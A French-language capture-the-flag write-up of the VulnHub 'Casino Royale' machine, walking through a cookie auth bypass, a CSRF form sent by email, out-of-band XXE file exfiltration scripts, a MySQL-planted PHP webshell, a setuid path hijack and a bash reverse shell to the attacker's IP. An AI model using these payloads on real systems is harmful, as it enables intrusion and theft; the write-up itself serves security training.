Accueil Solution du CTF Casino Royale de VulnHub
Post
Annuler

Solution du CTF Casino Royale de VulnHub

Casino Royale est un CTF créé par Creosote qui est l’auteur de plusieurs CTFs avec un background sur la saga 007.

Le CTF est plutôt original et au fur et à mesure de l’exploitation, on découvre un nouvel élément à énumérer.

Malheureusement j’ai perdu une bonne partie de mon temps à cause d’un script créé par l’auteur qui ne prend pas en compte toutes les possibilités alors que des outils réels l’auraient fait sans problème. Nous verrons cela à la fin.

Au casino, comme dans Casino

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Nmap scan report for 192.168.242.129
Host is up (0.00050s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
25/tcp   open  smtp?
| fingerprint-strings: 
|   Hello: 
|     220 Mail Server - NO UNAUTHORIZED ACCESS ALLOWED Pls.
|     Syntax: EHLO hostname
|   Help: 
|     220 Mail Server - NO UNAUTHORIZED ACCESS ALLOWED Pls.
|     5.5.2 Error: command not recognized
|   JavaRMI, LANDesk-RC, NCP, NULL, NotesRPC, TerminalServer, WMSRequest, afp, giop, ms-sql-s, oracle-tns: 
|_    220 Mail Server - NO UNAUTHORIZED ACCESS ALLOWED Pls.
|_smtp-commands: casino.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=casino
| Subject Alternative Name: DNS:casino
| Not valid before: 2018-11-17T20:14:11
|_Not valid after:  2028-11-14T20:14:11
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 2 disallowed entries 
|_/cards /kboard
|_http-server-header: Apache/2.4.25 (Debian)
8081/tcp open  http    PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

J’ai jeté un œil au phpcli qui est vulnérable à une faille de divulgation de code source (déjà croisé sur d’autres CTFs) mais il n’y avait rien d’intéressant à en tirer.

Je me suis donc tourné vers le serveur Apache avec d’abord une énumération de dossiers :

1
2
3
4
5
6
301        9l       28w      321c http://192.168.242.129/includes
301        9l       28w      320c http://192.168.242.129/install
301        9l       28w      323c http://192.168.242.129/javascript
301        9l       28w      323c http://192.168.242.129/phpmyadmin
301        9l       28w      318c http://192.168.242.129/cards
403       11l       32w      303c http://192.168.242.129/server-status

Le dossier install fait mention d’une installation d’un logiciel nommé PokerMax Poker League Installation.

Il existe un exploit de type bypass d’authentification : PokerMax Poker League 0.13 - Insecure Cookie Handling - PHP webapps Exploit.

Pour le moment on ne peut pas l’utiliser, mais on garde ça en tête.

En énumérant les fichiers, c’est plus intéressant :

1
2
3
200       12l       20w      220c http://192.168.242.129/index.html
200       61l      231w     2796c http://192.168.242.129/index.php
200       38l       59w      847c http://192.168.242.129/index.html.old

Le index.html est celui qu’on voyait par défaut, mais le index.php correspond à la page d’index du PowerMax.

L’exploit consiste à définir un cookie dans son navigateur de nom ValidUserAdmin et de valeur admin. J’ai utilisé l’extension de navigateur EditThisCookie pour créer le cookie. Attention à bien choisir le degré de sécurité Lax sinon ça ne marche pas.

Une fois connecté en tant qu’administrateur on peut lister les comptes enregistrés. L’utilisatrice Valenka a attiré mon attention, car c’est la seule qui a une adresse email définie.

Quand je regarde ses informations de profil je vois le message suivant :

Project Manager of various client projects on: /vip-client-portfolios/?uri=blog

We are casino-royale.local – Update your hosts file!

Arctic Fox

Quand on suit cette URL on trouve une installation de SnowFox CMS, une appli web inconnue au bataillon (d’ailleurs RIP le website).

Une des entrées mentionne une adresse email et la lecture d’emails :

New Clients - Please Read

If you’ve been referred and are interested in our “assistance”, please send us an email.

Send an email to our CMS admin: valenka@casino-royale.local

Make sure to reference a known customer or at least someone we know in the subject line, otherwise the email will be deleted without being looked at.

Valenka checks her email often as well as manages this site.

Include any links to relevant information such as references, services, referrals, etc.

Ça tombe bien, car le port SMTP est ouvert.

Cette fois, c’est une faille de Cross Site Request Forgery qu’il faut exploiter, la zone d’administration n’étant apparemment pas protégée par un quelconque token :

Snowfox CMS 1.0 - Cross-Site Request Forgery (Add Admin) - PHP webapps Exploit

J’ai repris le code d’exemple du PoC et l’ai adapté avec un auto-submit :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
  <body>
    <form action="http://casino-royale.local/vip-client-portfolios/?uri=admin/accounts/create" method="POST" name="myform">
      <input type="hidden" name="emailAddress" value="haxor@mail.com" />
      <input type="hidden" name="verifiedEmail" value="verified" />
      <input type="hidden" name="username" value="haxor@mail.com" />
      <input type="hidden" name="newPassword" value="haxor@mail.com" />
      <input type="hidden" name="confirmPassword" value="haxor@mail.com" />
      <input type="hidden" name="userGroups[]" value="34" />
      <input type="hidden" name="userGroups[]" value="33" />
      <input type="hidden" name="memo" value="CSRFmemo" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="formAction" value="submit" />
      <input type="submit" value="Submit form" />
    </form>
    <script>document.myform.submit();</script>
  </body>
</html>

Il faut ensuite inviter l’utilisatrice à visiter la page où l’on héberge le code HTML :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ ncat casino-royale.local 25 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.242.129:25.
220 Mail Server - NO UNAUTHORIZED ACCESS ALLOWED Pls.
HELO casino.localdomain
250 casino.localdomain
MAIL FROM: haxor
250 2.1.0 Ok
RCPT TO: valenka
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
subject: fisher recomended you
pls check my website
http://192.168.242.1/
.
250 2.0.0 Ok: queued as 5EB711EC1
QUIT
221 2.0.0 Bye

Premier problème quand on teste cela : le serveur échoue si on donne un expéditeur avec un domaine, car il tente l’envoi d’une requête DNS qui est bloquée si la VM est en host-only. Situation qu’on ne pouvait pas vraiment prévoir, mais on verra plus tard qu’il y a pire.

Une fois le CSRF passé je peux me connecter avec l’identifiant haxor@mail.com et fouiller dans l’interface d’administration pour déterminer s’il est possible d’obtenir un RCE ce qui n’était pas le cas.

C’est finalement dans le profil du compte Le Chiffre que j’ai trouvé une piste :

I primarily deal with the numbers, along with our most Elite customers with access to /ultra-access-view/main.php

Xtra Xtra Exploitable

Il faut regarder le code HTML de la page pour comprendre ce qui est attendu :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<h1 style="color:red;">Client Access: ULTRA</h1>
<hr>
<br>
<!--FYI this is taking POST requests without a front end for the time being..
Try using curl to POST Xml commands or Xml script files herE!   

PHP code below...
 
    libxml_disable_entity_loader (false); 
    
    $xmlfile = file_get_contents('php://input'); 
    
    $dom = new DOMDocument(); 
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom); 
    $user = $creds->customer; 
    $pass = $creds->password; 
    echo "Welcome $user !";
-->


Welcome  ! 


</body>


<!--also pls update the password for the custom ftp acct once the front end is finished..since it's easy -->

Il s’agit d’une faille XXE avec un cas d’usage qui est traité par Wapiti. Normalement l’exfiltration Out Of Band réalisée par Wapiti se fait via le domaine wapiti3.ovh mais ici, la VM étant en host-only, elle n’a pas accès à Internet.

J’ai rajouté un Dockerfile au projet permettant de mettre en place l’endpoint avec ses dépendances (Apache + PHP avec url_rewriting). Le tout se fait via une commande make à lancer dans le dossier de Wapiti :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ make wapiti-endpoint 
docker build -f Dockerfile.endpoint -t wapiti-endpoint .
Sending build context to Docker daemon  323.5MB
Step 1/7 : FROM php:7.1-apache
 ---> b9858ffdd4d2
Step 2/7 : COPY ./endpoint/ /var/www/html/
 ---> Using cache
 ---> 8392b8a501b0
Step 3/7 : COPY ./endpoint/.htaccess /var/www/html/.htaccess
 ---> Using cache
 ---> a39985ae0e44
Step 4/7 : RUN sed -i '/LoadModule rewrite_module/s/^#//g' /etc/apache2/apache2.conf &&     sed -i 's#AllowOverride [Nn]one#AllowOverride All#' /etc/apache2/apache2.conf
 ---> Using cache
 ---> 190c42b4ea9a
Step 5/7 : RUN ln -s /etc/apache2/mods-available/rewrite.load /etc/apache2/mods-enabled/rewrite.load
 ---> Using cache
 ---> 888b042dc13a
Step 6/7 : RUN chmod 777 /var/www/html/ssrf_data
 ---> Using cache
 ---> 69a3fdf4ebe8
Step 7/7 : RUN chmod 777 /var/www/html/xxe_data
 ---> Running in c74317836a9c
Removing intermediate container c74317836a9c
 ---> b3d624b63c22
Successfully built b3d624b63c22
Successfully tagged wapiti-endpoint:latest
docker run --rm -dit --name wapiti-running-endpoint -p 80:80 wapiti-endpoint
3f90a2fbbe760af7868a3cccd5ff5dfad61c789c765d14b8da496724621655a4

On peut alors lancer Wapiti sur l’URL vulnérable en spécifiant en option l’URL du endpoint (external est l’URL que la cible va contacter, internal est celle qu’on fetche pour les résultats, ici on aurait pu définir 192.168.242.1 pour les deux).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
$ wapiti -u http://casino-royale.local/ultra-access-view/main.php --scope page -m xxe --color --external-endpoint http://192.168.242.1/ --internal-endpoint http://127.0.0.1/

     __      __               .__  __  .__________
    /  \    /  \_____  ______ |__|/  |_|__\_____  \
    \   \/\/   /\__  \ \____ \|  \   __\  | _(__  <
     \        /  / __ \|  |_> >  ||  | |  |/       \
      \__/\  /  (____  /   __/|__||__| |__/______  /
           \/        \/|__|                      \/
Wapiti 3.1.7 (wapiti-scanner.github.io)
[*] You are lucky! Full moon tonight.
[*] Saving scan state, please wait...

[*] Launching module xxe
---
Out-Of-Band XXE vulnerability by sending raw XML in request body
The target sent 60 bytes of data to the endpoint at 2023-05-03T12:44:13 with IP 192.168.242.129.
Received data can be seen at http://127.0.0.1/xxe_data/g875ge/1/72617720626f6479/1683125053-0-192.168.242.129.txt.
Evil request:
    POST /ultra-access-view/main.php HTTP/1.1
    Content-Type: text/xml

    <?xml version="1.0"?>
    <!DOCTYPE foo [
    <!ENTITY % remote SYSTEM "http://192.168.242.1/dtd/g875ge/1/72617720626f6479/linux2.dtd">
    %remote; %intern; %trick; ]>
    <xml><test>hello</test></xml>
---
---
Out-Of-Band XXE vulnerability by sending raw XML in request body
The target sent 2031 bytes of data to the endpoint at 2023-05-03T12:44:13 with IP 192.168.242.129.
Received data can be seen at http://127.0.0.1/xxe_data/g875ge/1/72617720626f6479/1683125053-1-192.168.242.129.txt.
Evil request:
    POST /ultra-access-view/main.php HTTP/1.1
    Content-Type: text/xml

    <?xml version="1.0"?>
    <!DOCTYPE foo [
    <!ENTITY % remote SYSTEM "http://192.168.242.1/dtd/g875ge/1/72617720626f6479/linux.dtd">
    %remote; %intern; %trick; ]>
    <xml><test>hello</test></xml>
---
---
The target reached the DTD file on the endpoint but the exploitation didn't succeed.
Evil request:
    POST /ultra-access-view/main.php HTTP/1.1
    Content-Type: text/xml

    <?xml version="1.0"?>
    <!DOCTYPE foo [
    <!ENTITY % remote SYSTEM "http://192.168.242.1/dtd/g875ge/1/72617720626f6479/windows.dtd">
    %remote; %intern; %trick; ]>
    <xml><test>hello</test></xml>
---
---
The target reached the DTD file on the endpoint but the exploitation didn't succeed.
Evil request:
    POST /ultra-access-view/main.php HTTP/1.1
    Content-Type: text/xml

    <?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://192.168.242.1/dtd/g875ge/1/72617720626f6479/javalin.dtd"><foo>&trick;</foo>
---
---
The target reached the DTD file on the endpoint but the exploitation didn't succeed.
Evil request:
    POST /ultra-access-view/main.php HTTP/1.1
    Content-Type: text/xml

    <?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://192.168.242.1/dtd/g875ge/1/72617720626f6479/javawin.dtd"><foo>&trick;</foo>
---

Le endpoint stocke les résultats de l’exfiltration. On peut obtenir les fichiers texte en suivant les URLs. On retrouve notamment le fichier /etc/passwd que voici :

1
2
3
4
5
6
7
8
root:x:0:0:root:/root:/bin/bash
--- snip ---
le:x:1000:1000:Le Chiffre,,,:/home/le:/bin/bash
mysql:x:113:120:MySQL Server,,,:/nonexistent:/bin/false
valenka:x:1001:1001:,,,:/home/valenka:/bin/bash
postfix:x:114:121::/var/spool/postfix:/bin/false
ftp:x:115:124:ftp daemon,,,:/srv/ftp:/bin/false
ftpUserULTRA:x:1002:1002::/var/www/html/ultra-access-view:/bin/bash

J’ai écrit un serveur web en Python qui sera chargé de décoder le contenu exfiltré envoyé par le serveur en base64 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from base64 import b64decode                                                                                           
from http.server import SimpleHTTPRequestHandler                                                                       
import socketserver                                                                                                    
                                                                                                                       
class S(SimpleHTTPRequestHandler):                                                                                     
    def _set_headers(self):                                                                                            
        self.send_response(200)                                                                                        
        self.send_header('Content-type', 'text/html')                                                                  
        self.end_headers()                                                                                             
                                                                                                                       
    def do_GET(self):                                                                                                  
        if self.path.startswith("/xoxo/"):                                                                             
            data = self.path[6:]                                                                                       
            print("="*50)                                                                                              
            print(b64decode(data).decode(errors="replace"))                                                            
            print("="*50)                                                                                              
            self.send_response(200)                                                                                    
            self.end_headers()                                                                                         
            self.wfile.write(b"")                                                                                      
        else:                                                                                                          
            super().do_GET()                                                                                           
                                                                                                                       
                                                                                                                       
PORT = 80                                                                                                              
                                                                                                                       
Handler = S                                                                                                            
with socketserver.TCPServer(("", PORT), Handler) as httpd:                                                             
    print("serving at port", PORT)                                                                                     
    httpd.serve_forever()

Si le path ne correspond pas, il agit comme un serveur normal en livrant le fichier demandé.

De l’autre côté j’ai un code pour l’exploitation qui me permet d’exfiltrer le fichier de mon choix :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import sys

import requests
from requests.exceptions import RequestException

if len(sys.argv) < 2:
    print("Usage: python {} filename".format(sys.argv[0]))
    exit()

my_ip = "192.168.242.1"
filename = sys.argv[1]

xml = """<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://{}/valid.dtd">
%remote; %intern; %trick; ]>
<xml><test>hello</test></xml>""".format(my_ip)

dtd = """<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource={}">
<!ENTITY % intern "<!ENTITY &#37; trick SYSTEM 'http://{}/xoxo/%payload;'>">""".format(filename, my_ip)

with open("valid.dtd", "w") as fd:
    fd.write(dtd)

try:
    response = requests.post(
        "http://casino-royale.local/ultra-access-view/main.php",
        data=xml,
        headers={"Content-Type": "text/xml"},
    )
except RequestException as exception:
    print("Error occurred:", exception)
else:
    text = response.text.strip()
    print(text)

De cette façon, je demande un fichier dans un terminal et regarde l’output dans un autre.

En regardant le Github du projet PokerMax je détermine om se trouve normalement le fichier de configuration :

pleague/pokerleague_.php at master · arem/pleague · GitHub

Ici on devine qu’il s’agit de includes/config.php. J’exfiltre donc ce fichier :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?PHP
/*
 PokerMax Pro Poker League Software
 Written by Steve Dawson - 01-07-2007 www.stevedawson.com
*/

/** Complete your database info below and then run the yourdomain.com/install/  **/
/**************** DATABASE MODIFICATION SECTION ****************/
$server = "localhost";                              // Server Host
$DBusername = "valenka";                               // Database Username
$DBpassword = "11archives11!";                                   // Database Password
$database = "pokerleague";                       // Database Name

$tournament_table = "pokermax_tournaments"; 
$admin_table = "pokermax_admin";
$player_table = "pokermax_players";
$score_table = "pokermax_scores";
 
/**************** OPTIONS SECTION ****************/
$search_limit = "50"; // listings per page - tournaments and players
$DatabaseError = "<p align=\"center\" class=\"red\">No details found, please try again later</p>";
# $playerid = date("dmyHis");
$tournamentid = date("dmyHis");
/**************** DATE STAMP SECTION ****************/
$dateadded = date("j F Y");     // Date and time of info request
$version = "v0.13";

?>

Licensed to pwn

On ne peut pas se connecter en SSH car le port n’est pas accessible, mais l’accès avec le compte valenka est accepté sur le FTP.

Le dossier correspond à /var/www/html/ultra-access-view soit celui de l’utilisateur ftpUserULTRA. C’est aussi le dossier qui contient le script PHP vulnérable au XXE.

Malheureusement aucun des dossiers présents ne permet l’écriture donc la dépose d’un webshell est impossible.

Vu que les identifiants pour valenka sont avant tout des identifiants MySQL je peux utiliser le phpMyAdmin qu’on a découvert via énumération au début.

Le compte semble être l’équivalent du root sans la restriction d’être local uniquement.

Je me suis orienté vers la possibilité de déposer un fichier sous la racine web à l’aide de INTO OUTFILE. Il a fallu quelques essais avant de trouver un dossier world-writable :

1
SELECT '<?php system($_GET["cmd"]); ?>' into outfile '/var/www/html/includes/shell.php'

Avec ce webshell je rapatrie et exécute un reverse-ssh. Je peux ensuite utiliser les identifiants de valenka via su.

Je remarque un binaire setuid root dans /opt :

1
2
3
4
5
6
7
8
9
10
11
12
valenka@casino:~$ ls /opt/casino-royale/
total 48K
drwxrwxr-x 2 root le       4.0K Feb 22  2019 .
drwxr-xr-x 4 root root     4.0K Jan 17  2019 ..
-rwxrw---- 1 le   www-data  210 Feb 20  2019 casino-data-collection.py
-rw------- 1 le   le         40 Feb 22  2019 closer2root.txt
-rw-r--r-- 1 root root       79 Feb 20  2019 collect.php
-rwxr-xr-x 1 root root      174 Feb 21  2019 index.html
-rwsr-sr-x 1 root root     8.5K Feb 20  2019 mi6_detect_test
-rwxrwxr-x 1 le   le         54 Feb 20  2019 php-web-start.sh
-rwxr-x--- 1 le   le        402 Feb 20  2019 run.sh
-rwxrwxr-x 1 le   le         71 Feb 20  2019 user-data.log

Le binaire appelle bash avec le bon chemin absolu, mais le script qui est appelé est quant à lui relatif :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
valenka@casino:/opt/casino-royale$ strings mi6_detect_test 
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
__cxa_finalize
__libc_start_main
_ITM_deregisterTMCloneTable
__gmon_start__
_Jv_RegisterClasses
_ITM_registerTMCloneTable
GLIBC_2.2.5
=W       
AWAVA
AUATL
[]A\A]A^A_
/bin/bash run.sh

L’exploitation est triviale :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
valenka@casino:/opt/casino-royale$ cd /tmp/
valenka@casino:/tmp$ echo bash > run.sh
valenka@casino:/tmp$ chmod 755 run.sh 
valenka@casino:/tmp$ /opt/casino-royale/mi6_detect_test 
root@casino:/tmp# id
uid=0(root) gid=1001(valenka) groups=1001(valenka)
root@casino:/tmp# cd /root
root@casino:/root# ls
ctf-scripts  Desktop  Downloads  flag  Maildir  node_modules  package-lock.json  Pictures
root@casino:/root# cd flag/
root@casino:/root/flag# ls
files  flag.sh  index.php
root@casino:/root/flag# ./flag.sh 
--------------------------------------------
--------------------------------------------
Go here:   http://casino-royale.local:8082
--------------------------------------------
--------------------------------------------
PHP 5.6.38-2+0~20181015120829.6+stretch~1.gbp567807 Development Server started at Thu May  4 10:18:03 2023
Listening on http://0.0.0.0:8082
Document root is /root/flag
Press Ctrl-C to quit.

En se connectant à ce port, on obtient alors ce flag.

Ghosted

On comprend mieux pourquoi déclencher le CSRF via l’envoi du mail était aussi compliqué :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/bin/bash

qck=$(ls /home/valenka/Maildir/new/)
if [ -z "$qck" ]; then
        echo "empty"
        exit
fi

for mess in /home/valenka/Maildir/new/*; do
        m=$(cat $mess)
        sub=$(echo "${m}" |grep subject)
        v=$(echo "${sub}" |grep -ie dryden -ie fisher -ie obanno -ie mollaka -ie alex -ie dimitrios)
        if [ -z "$v" ]; then
                echo "no good"
                rm $mess
                exit
        else
                cd /root/ctf-scripts/
                echo "good"
                badurl=$(cat $mess |grep http)
                fna=$(echo "$mess" |rev | cut -d '/' -f1 |rev)
                #echo "$fna"
                cop=$(cp /root/ctf-scripts/ok.js /root/ctf-scripts/$fna.js)

                #echo "var newurl=http://192.168.178.143/casino/bad.html'" >> $fna.js
                echo "var newurl='""${badurl}""'" >> $fna.js 
                echo 'casper.thenOpen(newurl, function() {' >> $fna.js
                echo '  console.log("new pageloaded");'>> $fna.js
                echo '});' >> $fna.js

                echo 'casper.then(function() {' >> $fna.js
                # echo '  casper.click('input[type="submit"]');' >> $fna.js
                x=$(echo "  casper.click('input[")
                y=$(echo 'type="submit"]')
                z=$(echo "');")

                echo $x$y$z >> $fna.js
                echo '});' >> $fna.js
                echo 'casper.run();' >> $fna.js
                /root/node_modules/casperjs/bin/casperjs $fna.js
                sleep 3
                mysql -h "localhost" -u "valenka" "-p11archives11!" "vip" < "/root/ctf-scripts/enab.sql"
                rm /root/ctf-scripts/$fna.js
                rm $mess
        fi


done
sleep 120

Ce script lancé depuis la crontab de root va lire les emails à destination de valenka.

On peut voir déjà qu’il recherche le nom d’un contact connu comme stipulé dans le scénario, mais pas tous et pas toujours le prénom.

Ensuite on peut voir que la recherche du sujet se fait uniquement sur la chaine subject en minuscule alors qu’un client mail prendra la valeur quelle que soit la casse.

Pour terminer, l’extraction de l’URL considère que cette dernière devrait être seule sur une ligne sans suffixe ni préfixe.

Rien que pour vos yeux

Les plus attentifs auront remarqué qu’en raison du manque de vérification sur l’URL il est possible d’injecter du code javascript dans le fichier qui est ensuite passé à CasperJS.

On peut alors réaliser une exécution de commande qui nous amène directement à root :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ncat 192.168.242.129 25 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.242.129:25.
220 Mail Server - NO UNAUTHORIZED ACCESS ALLOWED Pls.
HELO casino.localdomain
250 casino.localdomain
MAIL FROM: haxor
250 2.1.0 Ok
RCPT TO: valenka
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
subject: fisher recomended you
http'; "use strict"; var spawn = require("child_process").spawn; var child = spawn("bash", ["-c", "bash -i >& /dev/tcp/192.168.242.1/21 0>&1"]); //
.
250 2.0.0 Ok: queued as 4F63BBAD1
QUIT
221 2.0.0 Bye

Mission accomplie :

1
2
3
4
5
6
7
8
9
10
11
$ sudo ncat -l -p 21 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::21
Ncat: Listening on 0.0.0.0:21
Ncat: Connection from 192.168.242.129.
Ncat: Connection from 192.168.242.129:55866.
bash: cannot set terminal process group (429): Inappropriate ioctl for device
bash: no job control in this shell
root@casino:~/ctf-scripts# id
id
uid=0(root) gid=0(root) groups=0(root)
Cet article est sous licence CC BY 4.0 par l'auteur.